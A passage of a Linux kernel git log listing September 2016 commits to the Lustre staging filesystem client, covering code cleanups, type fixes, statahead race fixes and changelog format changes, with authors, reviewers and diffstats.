--- drivers/staging/lustre/lustre/lov/lov_internal.h | 5 -- drivers/staging/lustre/lustre/lov/lov_obd.c | 54 --------------- drivers/staging/lustre/lustre/lov/lov_request.c | 78 ---------------------- .../staging/lustre/lustre/obdecho/echo_client.c | 5 +- drivers/staging/lustre/lustre/osc/osc_request.c | 3 +- 11 files changed, 6 insertions(+), 239 deletions(-) commit 972e54adcd435e87f15c972bb61836a1ee94a4cc Author: John L. Hammond Date: Sun Sep 18 16:38:11 2016 -0400 staging: lustre: echo: replace lov_stripe_md with lov_oinfo In echo_client replace uses of struct lov_stripe_md with struct lov_oinfo (since the instances of the former really only contained a single instance of the latter). Remove the then unneccessary functions echo_alloc_memmd(), echo_free_memmd(), osc_unpackmd(), and obd_alloc_memmd(). Remove the struct lov_stripe_md * parameter from obd_create(). Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5418 Reviewed-on: http://review.whamcloud.com/12447 Reviewed-by: Bobi Jam Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 3 +- drivers/staging/lustre/lustre/include/obd_class.h | 14 +- .../staging/lustre/lustre/obdecho/echo_client.c | 143 ++++++--------------- drivers/staging/lustre/lustre/osc/osc_request.c | 44 +------ 4 files changed, 45 insertions(+), 159 deletions(-) commit 18c33b6b23ef0f7571f7d1d0960fabdd6d2b3b24 Author: John L. Hammond Date: Sun Sep 18 16:38:10 2016 -0400 staging: lustre: obd: remove unused obd methods Remove no longer used osc_packmd() and osc_getstripe(). Several ioctls cases that are no longer used are removed. Remove no longer used adjust_kms() infrastructure. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2785 Reviewed-on: http://review.whamcloud.com/8547 Reviewed-by: Jinshan Xiong Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 3 - drivers/staging/lustre/lustre/include/obd_class.h | 13 -- drivers/staging/lustre/lustre/lov/lov_internal.h | 2 - drivers/staging/lustre/lustre/lov/lov_merge.c | 39 ------ drivers/staging/lustre/lustre/lov/lov_obd.c | 1 - drivers/staging/lustre/lustre/mgc/mgc_request.c | 2 - drivers/staging/lustre/lustre/osc/osc_request.c | 147 ---------------------- 7 files changed, 207 deletions(-) commit 5231f7651c557996821940a576873c0e6e39425e Author: Lai Siyao Date: Sun Sep 18 16:38:09 2016 -0400 staging: lustre: statahead: small fixes and cleanup small fixes: * when 'unplug' is set for ll_statahead(), sa_put() shouldn't kill the entry found, because its inflight RPC may not finish yet. * remove 'sai_generation', add 'lli_sa_generation' because the former one is not safe to access without lock. * revalidate_statahead_dentry() may fail to wait for statahead entry to become ready, in this case it should not release this entry, because it may be used by inflight statahead RPC. cleanups: * rename ll_statahead_enter() to ll_statahead(). * move dentry 'lld_sa_generation' update to ll_statahead() to simplify code and logic. * other small cleanups. Signed-off-by: Lai Siyao Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3270 Reviewed-on: http://review.whamcloud.com/9667 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6222 Reviewed-on: http://review.whamcloud.com/13708 Reviewed-by: Fan Yong Reviewed-by: Bobi Jam Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dcache.c | 5 +- .../staging/lustre/lustre/llite/llite_internal.h | 137 +++----- drivers/staging/lustre/lustre/llite/namei.c | 11 +- drivers/staging/lustre/lustre/llite/statahead.c | 353 ++++++++++++--------- drivers/staging/lustre/lustre/mdc/mdc_request.c | 2 +- 5 files changed, 250 insertions(+), 258 deletions(-) commit 9ca6fb12f31dc9cbde07a27a9c1ea0c337e0fe08 Author: John L. Hammond Date: Sun Sep 18 16:38:08 2016 -0400 staging: lustre: fix messages with missing newlines Restore the trailing newline in the definition of OSC_DUMP_GRANT(). Remove an unnecessary CDEBUG() from ldlm_pool_recalc(). Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5551 Reviewed-on: http://review.whamcloud.com/11996 Reviewed-by: James Nunez Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_pool.c | 4 ---- drivers/staging/lustre/lustre/osc/osc_cache.c | 2 +- 2 files changed, 1 insertion(+), 5 deletions(-) commit 78e674e679b22f637c05d428891f565717dca504 Author: John L. Hammond Date: Sun Sep 18 16:38:07 2016 -0400 staging: lustre: lov: remove unused {get, set}_info handlers In LOV and OSC remove handlers for the obsolete get and set info keys: KEY_CAPA_KEY, KEY_CONNECT_FLAG, KEY_EVICT_BY_NID, KEY_LAST_ID, KEY_LOCK_TO_STRIPE, KEY_MDS_CONN, KEY_NEXT_ID. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5814 Reviewed-on: http://review.whamcloud.com/12445 Reviewed-by: Andreas Dilger Reviewed-by: Bobi Jam Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 4 - drivers/staging/lustre/lustre/lov/lov_obd.c | 132 ++---------------------- drivers/staging/lustre/lustre/osc/osc_request.c | 46 +-------- 3 files changed, 10 insertions(+), 172 deletions(-) commit bb5c7f2630dec25282f1ef31c3eeb218ee8b323f Author: Dmitry Eremin Date: Sun Sep 18 16:38:06 2016 -0400 staging: lustre: changelog: fix comparison between signed and unsigned Change type of changelog_*{namelen,size}() to size_t. Fixed string specifier for unsigned types. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/12474 Reviewed-by: James Simmons Reviewed-by: Andreas Dilger Reviewed-by: James Nunez Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre/lustre_user.h | 10 +++++----- drivers/staging/lustre/lustre/llite/file.c | 4 ++-- 2 files changed, 7 insertions(+), 7 deletions(-) commit ee5532436a7de5f77e8d0a5c9b52f915ed3a6187 Author: John L. Hammond Date: Sun Sep 18 16:38:05 2016 -0400 staging: lustre: lov: remove LL_IOC_RECREATE_{FID, OBJ} Remove the obsolete ioctls LL_IOC_RECREATE_FID and LL_IOC_RECREATE_OBJ along with their handlers in llite. Remove the then unused OBD method lov_create(). Remove OBD_FL_RECREATE_OBJS handling from osc_create(). Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5814 Reviewed-on: http://review.whamcloud.com/12442 Reviewed-by: Andreas Dilger Reviewed-by: Bobi Jam Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_user.h | 4 +- drivers/staging/lustre/lustre/llite/file.c | 86 --------------------- drivers/staging/lustre/lustre/lov/lov_obd.c | 87 ---------------------- drivers/staging/lustre/lustre/osc/osc_request.c | 5 -- 4 files changed, 2 insertions(+), 180 deletions(-) commit 8e30ac1e43ca84006ec7d5a5f65bc87da858e3a1 Author: Dmitry Eremin Date: Sun Sep 18 16:38:04 2016 -0400 staging: lustre: obdclass: change lu_site->ls_purge_start to unsigned Change the type accordant usage. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/12384 Reviewed-by: John L. Hammond Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lu_object.h | 2 +- drivers/staging/lustre/lustre/obdclass/lu_object.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 8060c90186ec2d609b3ef3b2799e22f5a82ae55d Author: Dmitry Eremin Date: Sun Sep 18 16:38:03 2016 -0400 staging: lustre: lu_dirent_calc_size() return type to size_t Change the type accordant usage. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/12383 Reviewed-by: John L. Hammond Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre/lustre_idl.h | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) commit 6f5083978b71b83849e8937e722ef41d0849a398 Author: Dmitry Eremin Date: Sun Sep 18 16:38:02 2016 -0400 staging: lustre: ldlm: count of pools is unsigned long Function ldlm_pools_count() return unsigned long but counter is int. Use ldlm_pool_granted() everywhere. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/12304 Reviewed-by: James Simmons Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_pool.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit df3c30f6e9044fef7a7e508dad940c8e0f3346fa Author: Jian Yu Date: Sun Sep 18 16:38:01 2016 -0400 staging: lustre: replace direct HZ access with kernel APIs On some customer's systems, kernel was compiled with HZ defined to 100, instead of 1000. This improves performance for HPC applications. However, to use these systems with Lustre, customers have to re-build Lustre for the kernel because Lustre directly uses the defined constant HZ. Since kernel 2.6.21, some non-HZ dependent timing APIs become non- inline functions, which can be used in Lustre codes to replace the direct HZ access. These kernel APIs include: jiffies_to_msecs() jiffies_to_usecs() jiffies_to_timespec() msecs_to_jiffies() usecs_to_jiffies() timespec_to_jiffies() And here are some samples of the replacement: HZ -> msecs_to_jiffies(MSEC_PER_SEC) n * HZ -> msecs_to_jiffies(n * MSEC_PER_SEC) HZ / n -> msecs_to_jiffies(MSEC_PER_SEC / n) n / HZ -> jiffies_to_msecs(n) / MSEC_PER_SEC n / HZ * 1000 -> jiffies_to_msecs(n) This patch replaces the direct HZ access in lustre modules. Signed-off-by: Jian Yu Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5443 Reviewed-on: http://review.whamcloud.com/12052 Reviewed-by: Bob Glossman Reviewed-by: Dmitry Eremin Reviewed-by: James Simmons Reviewed-by: Nathaniel Clark Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_resource.c | 3 ++- drivers/staging/lustre/lustre/llite/statahead.c | 3 ++- drivers/staging/lustre/lustre/mgc/mgc_request.c | 5 +++-- drivers/staging/lustre/lustre/ptlrpc/sec.c | 7 ++++--- drivers/staging/lustre/lustre/ptlrpc/sec_bulk.c | 9 +++++---- drivers/staging/lustre/lustre/ptlrpc/sec_gc.c | 3 ++- 6 files changed, 18 insertions(+), 12 deletions(-) commit 3cbbf5eddbf69dffae0e1eba63f2f3eb7fe9f1a1 Author: John L. Hammond Date: Sun Sep 18 16:38:00 2016 -0400 staging: lustre: obd: cleanup struct md_op_data and uses Make the following changes in or around struct md_op_data: * rename enum op_cli_flags to enum md_cli_flags. * Change to type of the op_flags member from __u32 to enum md_op_flags. * Remove the used but never set member op_npages. * Remove the set but never used member op_stripe_offset (an alias for op_ioepoch). * Remove the op_max_pages alias for op_valid and add a op_max_pages member. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/11734 Reviewed-by: Bob Glossman Reviewed-by: James Simmons Reviewed-by: Dmitry Eremin Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 23 ++++++++++------------- drivers/staging/lustre/lustre/mdc/mdc_request.c | 3 +-- 2 files changed, 11 insertions(+), 15 deletions(-) commit 930f60e659478b300d06e699cc45f31adb07ed25 Author: Dmitry Eremin Date: Sun Sep 18 16:37:59 2016 -0400 staging: lustre: mdc: fix comparison between signed and unsigned Change type of client_obd->*_mds_*size from int to __u32 and argumanets of related create/rename/setattr functions. Change type of op_data->op_namelen to size_t. Change type of argument size for all mdc_*_pack() to size_t. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/11379 Reviewed-by: John L. Hammond Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 23 ++++++++-------- drivers/staging/lustre/lustre/include/obd_class.h | 12 ++++----- .../staging/lustre/lustre/llite/llite_internal.h | 4 +-- drivers/staging/lustre/lustre/llite/llite_lib.c | 4 +-- drivers/staging/lustre/lustre/lmv/lmv_intent.c | 5 ++-- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 29 ++++++++++---------- drivers/staging/lustre/lustre/mdc/mdc_internal.h | 30 +++++++++++---------- drivers/staging/lustre/lustre/mdc/mdc_lib.c | 27 ++++++++++--------- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 19 ++++++------- drivers/staging/lustre/lustre/mdc/mdc_reint.c | 10 +++---- drivers/staging/lustre/lustre/mdc/mdc_request.c | 31 +++++++++++----------- 11 files changed, 101 insertions(+), 93 deletions(-) commit 60873bb8859ba73d395c6a23df9d71fba7f84685 Author: Alexander Boyko Date: Sun Sep 18 16:37:58 2016 -0400 staging: lustre: at: net AT after connect Once connected, the previously gathered AT statistics is not valid anymore because may reflect other routing, etc. The connect by itself could take a long time due to different reasons (e.g. server was not ready) and net latency got very high (see import_select_connection()) what does not reflect the current situation. Take into account only the current (re-)CONNECT rpc latency. Signed-off-by: Vitaly Fertman Signed-off-by: Alexander Boyko Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5380 Xyratex-bug-id: MRP-1285 Reviewed-on: http://review.whamcloud.com/11155 Reviewed-by: Liang Zhen Reviewed-by: Andreas Dilger Reviewed-by: Mike Pershin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/client.c | 4 ++-- drivers/staging/lustre/lustre/ptlrpc/import.c | 8 ++++++++ drivers/staging/lustre/lustre/ptlrpc/ptlrpc_internal.h | 2 ++ 3 files changed, 12 insertions(+), 2 deletions(-) commit 17be217056561b90134384d863abfd543d2321e4 Author: Lai Siyao Date: Sun Sep 18 16:37:57 2016 -0400 staging: lustre: statahead: race in start/stop statahead When starting statahead thread, it should check whether current lli_opendir_key was deauthorized in the mean time by another process. Signed-off-by: Lai Siyao Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3270 Reviewed-on: http://review.whamcloud.com/9666 Reviewed-by: Fan Yong Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/statahead.c | 29 +++++++++++++++++++++---- 1 file changed, 25 insertions(+), 4 deletions(-) commit 6535a7d046a24d7d426a9dfedf918eac954ea00c Author: Lai Siyao Date: Sun Sep 18 16:37:56 2016 -0400 staging: lustre: statahead: ll_intent_drop_lock() called in spinlock ll_intent_drop_lock() may sleep, which should not be called inside spinlock. Signed-off-by: Lai Siyao Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2272 Reviewed-on: http://review.whamcloud.com/9665 Reviewed-by: Fan Yong Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/statahead.c | 24 +++++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) commit e554fbfffcecc0558f891b66719fc933539ceb16 Author: Lai Siyao Date: Sun Sep 18 16:37:55 2016 -0400 staging: lustre: statahead: use dcache-like interface for sa entry Rename ll_sa_entry to sa_entry, and manage sa_entry cache with dcache-like interfaces. sa_entry is not needed to be refcounted, because only scanner can free it, so after it's put in stat list, statahead thread shouldn't access it any longer. ll_statahead_interpret() doesn't need to take sai refcount, because statahead thread will wait for all inflight RPC to finish. Signed-off-by: Lai Siyao Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3270 Reviewed-on: http://review.whamcloud.com/9664 Reviewed-by: James Simmons Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 2 +- .../staging/lustre/lustre/llite/llite_internal.h | 10 +- drivers/staging/lustre/lustre/llite/statahead.c | 461 +++++++++------------ 3 files changed, 207 insertions(+), 266 deletions(-) commit dbf789ce9d45721f990a993c7b1e61b998470a90 Author: Jinshan Xiong Date: Sun Sep 18 16:37:54 2016 -0400 staging: lustre: llite: allow setting stripes to specify OSTs Extend the llite layer to support specifying individual target OSTs. Support specifying OSTs for regular files only. Directory support will be implemented later in a separate project. With this a file could have for example a OST index layout of 2,4,5,9,11. In addition, duplicate indices will be eliminated automatically. Calculate the max easize by ld_active_tgt_count instead of ld_tgt_count. However this may introduce problems when the OSTs are in recovery because non sufficient buffer may be allocated to store EA. Signed-off-by: Jian Yu Signed-off-by: Jinshan Xiong Signed-off-by: James Simmons Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4665 Reviewed-on: http://review.whamcloud.com/9383 Reviewed-by: Andreas Dilger Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 2 ++ .../lustre/lustre/include/lustre/lustre_user.h | 17 ++++++------ drivers/staging/lustre/lustre/llite/file.c | 28 ++++++++------------ .../staging/lustre/lustre/llite/llite_internal.h | 20 +++++++++++++++ drivers/staging/lustre/lustre/llite/llite_lib.c | 30 ++++++++++++++++++++++ drivers/staging/lustre/lustre/llite/xattr.c | 9 ++++--- drivers/staging/lustre/lustre/lov/lov_pack.c | 18 +++++-------- .../staging/lustre/lustre/ptlrpc/pack_generic.c | 14 ---------- 8 files changed, 85 insertions(+), 53 deletions(-) commit a6d879fd08cd904c3595c338bb7995680b1ead13 Author: Henri Doreau Date: Sun Sep 18 16:37:53 2016 -0400 staging: lustre: llite: Add ioctl to get parent fids from link EA. Added LL_IOC_GETPARENT to retrieve the /name(s) of a given entry, based on its link EA. This saves multiple calls to path2fid/fid2path. Merged with second later patch that does various cleanups. Avoid unneeded allocation. Get read-only attributes from the user getparent structure and write the modified attributes only, instead of populating a whole structure in kernel and copying it back. Signed-off-by: Thomas Leibovici Signed-off-by: Henri Doreau Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3613 Reviewed-on: http://review.whamcloud.com/7069 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5837 Reviewed-on: http://review.whamcloud.com/12527 Reviewed-by: Ned Bass Reviewed-by: frank zago Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 8 ++ .../lustre/lustre/include/lustre/lustre_user.h | 1 + drivers/staging/lustre/lustre/llite/dir.c | 2 + drivers/staging/lustre/lustre/llite/file.c | 2 + .../staging/lustre/lustre/llite/llite_internal.h | 13 +++ drivers/staging/lustre/lustre/llite/llite_lib.c | 125 +++++++++++++++++++++ drivers/staging/lustre/lustre/llite/xattr.c | 10 +- 7 files changed, 152 insertions(+), 9 deletions(-) commit eb1ddc6724f8b5e7f8d0fe1b2e29327802fe0503 Author: James Simmons Date: Sun Sep 18 16:37:52 2016 -0400 staging: lustre: obd: restore linkea support Original linkea was only used for the lustre server code so it was removed from the upstream client. Now it needs to be restored for client work that uses this infrastructure. Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lu_object.h | 7 + .../staging/lustre/lustre/include/lustre_linkea.h | 79 ++++++++ drivers/staging/lustre/lustre/obdclass/Makefile | 2 +- drivers/staging/lustre/lustre/obdclass/linkea.c | 201 +++++++++++++++++++++ drivers/staging/lustre/lustre/obdclass/lu_object.c | 70 +++++++ 5 files changed, 358 insertions(+), 1 deletion(-) commit 1ebfdcac07c223437383f52f7e9dbb8df440d62e Author: Fan Yong Date: Sun Sep 18 16:37:51 2016 -0400 staging: lustre: lmv: add testing for bad name hash Enable testing of the lfsck recovery feature in the client code for the case when name hash for some entry becomes corrupt. Signed-off-by: Fan Yong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5519 Reviewed-on: http://review.whamcloud.com/11846 Reviewed-by: Alex Zhuravlev Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd_support.h | 1 + drivers/staging/lustre/lustre/lmv/lmv_obd.c | 10 +++++++--- 2 files changed, 8 insertions(+), 3 deletions(-) commit 7510c5ca70e3dc52a22f8ffd80c3bd5412c3704b Author: Yang Sheng Date: Sun Sep 18 16:37:50 2016 -0400 staging: lustre: llite: ensure all data flush out when umount Write out all extents when clear inode. Otherwise we may lose data while umount. Signed-off-by: Yang Sheng Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5584 Reviewed-on: http://review.whamcloud.com/12103 Reviewed-by: Bobi Jam Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/llite_lib.c | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) commit 39ce28033e217f11a648027efdcc44a4f987f617 Author: Vitaly Fertman Date: Sun Sep 18 16:37:49 2016 -0400 staging: lustre: ldlm: per-export lock callback timeout The lock callback timeout is calculated as an average per namespace. This does not reflect individual client behavior. Instead, we should calculate it on a per-export basis. This is the client side changes for upstream client. Signed-off-by: Vitaly Fertman Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4942 Reviewed-by: Andriy Skulysh Reviewed-by: Alexey Lyashkov Xyratex-bug-id: MRP-417 Reviewed-on: http://review.whamcloud.com/9336 Reviewed-by: Oleg Drokin Reviewed-by: James Simmons Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_internal.h | 2 +- drivers/staging/lustre/lustre/ldlm/ldlm_lock.c | 2 - drivers/staging/lustre/lustre/ldlm/ldlm_request.c | 54 +++++++++++++--------- 3 files changed, 33 insertions(+), 25 deletions(-) commit c5e0e23f906c8ff68ebf07542fb6d35e0f6bf33e Author: Fan Yong Date: Sun Sep 18 16:37:48 2016 -0400 staging: lustre: lmv: move some inline functions to lustre_lmv.h Move some inline code out of lmv core into lustre_lmv.h. This is to prepare for use outside of the lmv layer in the future of these functions. Change from passing in struct lmv_stripe_md to just int for lmv_is_known_hash_type. Signed-off-by: Fan Yong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5519 Reviewed-on: http://review.whamcloud.com/11845 Reviewed-by: Alex Zhuravlev Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_lmv.h | 63 ++++++++++++++++++++++ drivers/staging/lustre/lustre/lmv/lmv_intent.c | 2 +- drivers/staging/lustre/lustre/lmv/lmv_internal.h | 8 +-- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 59 +------------------- 4 files changed, 66 insertions(+), 66 deletions(-) commit c9fe1f7f42934be528a22cb5e2dc3be55ab425c1 Author: Henri Doreau Date: Sun Sep 18 16:37:47 2016 -0400 staging: lustre: Flexible changelog format. Added jobid fields to Changelog records (and extended records). The CLF_JOBID flags allows to check if the field is present or not (old format) when reading an entry. Jobids are expressed as 32 chars long, zero-terminated strings. Updated test_205 in sanity.sh. Signed-off-by: Henri Doreau Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-1996 Reviewed-on: http://review.whamcloud.com/4060 Reviewed-by: Andreas Dilger Reviewed-by: Aurelien Degremont Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 2 +- .../lustre/lustre/include/lustre/lustre_idl.h | 19 +-- .../lustre/lustre/include/lustre/lustre_user.h | 165 ++++++++++++++++----- .../staging/lustre/lustre/llite/llite_internal.h | 2 +- drivers/staging/lustre/lustre/llite/vvp_req.c | 2 +- drivers/staging/lustre/lustre/mdc/mdc_request.c | 22 ++- drivers/staging/lustre/lustre/obdclass/class_obd.c | 6 +- .../lustre/lustre/obdclass/linux/linux-module.c | 2 +- drivers/staging/lustre/lustre/obdclass/llog.c | 4 +- drivers/staging/lustre/lustre/obdclass/llog_cat.c | 4 +- .../staging/lustre/lustre/obdclass/llog_internal.h | 5 + drivers/staging/lustre/lustre/obdclass/llog_swab.c | 23 +-- .../staging/lustre/lustre/ptlrpc/pack_generic.c | 2 +- drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 54 +------ 14 files changed, 188 insertions(+), 124 deletions(-) commit aaf06e29b300fc76c9ff42f4508801493e002ea4 Author: Li Xi Date: Sun Sep 18 16:37:46 2016 -0400 staging: lustre: llite: enforce pool name length limit The pool related codes have some inconsistency about the length of pool name. Creating and setting a pool name of length 16 to a directory will succeed. However, creating a file under that directory will fail. This patch disables any pool name which is longer or equal to 16. And it changes LOV_MAXPOOLNAME from 16 to 15 which might cause some invalid LLOG records of OST pools with 16 byte names. It is not a problem since invalid LLOG records are just ignored. And OST pools with 16 byte names won't work well anyway on the old versions. There will be problem of inconsistency if part of the servers have this patch and part of the servers don't. But it would be safe to assume that this is not a normal configuration. Signed-off-by: Li Xi Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5054 Reviewed-on: http://review.whamcloud.com/10306 Reviewed-by: Andreas Dilger Reviewed-by: Fan Yong Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre/lustre_idl.h | 4 ++-- drivers/staging/lustre/lustre/include/lustre/lustre_user.h | 8 ++++---- drivers/staging/lustre/lustre/include/lustre_lmv.h | 2 +- drivers/staging/lustre/lustre/include/obd.h | 2 +- drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 2 +- 5 files changed, 9 insertions(+), 9 deletions(-) commit b2e7bbb37a5c6314523e8034b9aca43f565de8e0 Author: Stephen Champion Date: Sun Sep 18 16:37:45 2016 -0400 staging: lustre: llite: handle concurrent use of cob_transient_pages With the lockless __generic_file_aio_write introduced in LU-1669, ll_direct_IO_26 is no longer protected by the inode i_isem. This renders obsoltete checks that all transient pages have been handled before and after entry, and requires atomic access to their counter. Signed-off-by: Stephen Champion Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5700 Reviewed-on: http://review.whamcloud.com/12179 Reviewed-by: Jinshan Xiong Reviewed-by: Bobi Jam Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/rw26.c | 4 ---- drivers/staging/lustre/lustre/llite/vvp_internal.h | 9 +++++---- drivers/staging/lustre/lustre/llite/vvp_object.c | 6 +++--- drivers/staging/lustre/lustre/llite/vvp_page.c | 4 ++-- 4 files changed, 10 insertions(+), 13 deletions(-) commit 4660dd9bbf39d355c8988081964ee346e53a43c9 Author: Dmitry Eremin Date: Sun Sep 18 16:37:44 2016 -0400 staging: lustre: lmv: remove dead code The member lmv_obd->server_timeout and function lmv_set_timeouts() are not used. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-991 Reviewed-on: http://review.whamcloud.com/11880 Reviewed-by: John L. Hammond Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 1 - drivers/staging/lustre/lustre/lmv/lmv_obd.c | 25 ------------------------- 2 files changed, 26 deletions(-) commit 29c877a5892e42a6b57812514d90ff4357511d90 Author: Stephen Champion Date: Sun Sep 18 16:37:43 2016 -0400 staging: lustre: misc: Reduce exposure to overflow on page counters. When the number of an object in use or circulation is tied to memory size of the system, very large memory systems can overflow 32 bit counters. This patch addresses overflow on page counters in the osc LRU and obd accounting. Signed-off-by: Stephen Champion Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4856 Reviewed-on: http://review.whamcloud.com/10537 Reviewed-by: Andreas Dilger Reviewed-by: Jinshan Xiong Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 4 +- drivers/staging/lustre/lustre/include/obd.h | 8 +- .../staging/lustre/lustre/include/obd_support.h | 6 +- drivers/staging/lustre/lustre/ldlm/ldlm_lib.c | 6 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 9 ++- drivers/staging/lustre/lustre/llite/lproc_llite.c | 50 ++++++------ drivers/staging/lustre/lustre/obdclass/cl_page.c | 4 +- drivers/staging/lustre/lustre/obdclass/class_obd.c | 6 +- .../lustre/lustre/obdclass/linux/linux-sysctl.c | 3 +- drivers/staging/lustre/lustre/osc/lproc_osc.c | 31 +++++--- drivers/staging/lustre/lustre/osc/osc_cache.c | 27 +++---- drivers/staging/lustre/lustre/osc/osc_internal.h | 6 +- drivers/staging/lustre/lustre/osc/osc_io.c | 14 ++-- drivers/staging/lustre/lustre/osc/osc_page.c | 88 +++++++++++----------- drivers/staging/lustre/lustre/osc/osc_request.c | 18 ++--- 15 files changed, 146 insertions(+), 134 deletions(-) commit f32a692993dd6238b7261c2e1fe971ab3195b5b3 Author: Dmitry Eremin Date: 